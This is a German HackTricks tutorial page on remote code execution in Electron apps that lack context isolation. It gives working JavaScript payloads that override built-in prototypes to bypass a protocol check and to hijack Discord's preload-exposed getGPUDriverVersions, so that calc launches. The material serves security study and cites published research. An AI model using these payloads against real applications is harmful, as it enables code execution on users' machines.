mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 00:53:43 +00:00
104 lines
6.2 KiB
Markdown
104 lines
6.2 KiB
Markdown
# Electron contextIsolation RCE über Preload-Code
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## Beispiel 1
|
|
|
|
Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Dieser Code öffnet http(s)-Links mit dem Standardbrowser:
|
|
|
|
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
|
|
|
|
Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um den Taschenrechner auszuführen. Das `SAFE_PROTOCOLS.indexOf` verhindert dies.
|
|
|
|
Daher könnte ein Angreifer diesen JS-Code über XSS oder willkürliche Seiten-Navigation einschleusen:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
```
|
|
Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiger Exploit:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Überprüfen Sie die Originalfolien für andere Möglichkeiten, Programme auszuführen, ohne dass eine Berechtigungsabfrage angezeigt wird.
|
|
|
|
Anscheinend gibt es eine andere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie `file://127.0.0.1/electron/rce.jar` zugreift.
|
|
|
|
## Beispiel 2: Discord App RCE
|
|
|
|
Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
Beim Überprüfen der Preload-Skripte habe ich festgestellt, dass Discord die Funktion freigibt, mit der einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aufgerufen werden können, in der Webseite.\
|
|
Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das Modul _child\_process_, aber ich **habe einen Code gefunden, mit dem RCE erreicht werden kann, indem die JavaScript-internen Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird**.
|
|
|
|
Hier ist der PoC. Ich konnte bestätigen, dass die Anwendung **calc** **angezeigt wird**, wenn ich die Funktion `getGPUDriverVersions` aufrufe, die im Modul "_discord\_utils_" definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**.
|
|
```javascript
|
|
RegExp.prototype.test=function(){
|
|
return false;
|
|
}
|
|
Array.prototype.join=function(){
|
|
return "calc";
|
|
}
|
|
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
|
```
|
|
Die Funktion `getGPUDriverVersions` versucht, das Programm mithilfe der "_execa_"-Bibliothek auszuführen, wie folgt:
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== 'win32') {
|
|
return {};
|
|
}
|
|
|
|
const result = {};
|
|
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
|
|
} catch (e) {
|
|
result.nvidia = {error: e.toString()};
|
|
}
|
|
|
|
return result;
|
|
};
|
|
```
|
|
Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das in der Variablen `nvidiaSmiPath` angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` wird jedoch **das Argument in der internen Verarbeitung von \_execa durch "**_**calc**_**" ersetzt**.
|
|
|
|
Konkret wird das Argument durch Änderung der folgenden beiden Teile ersetzt.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|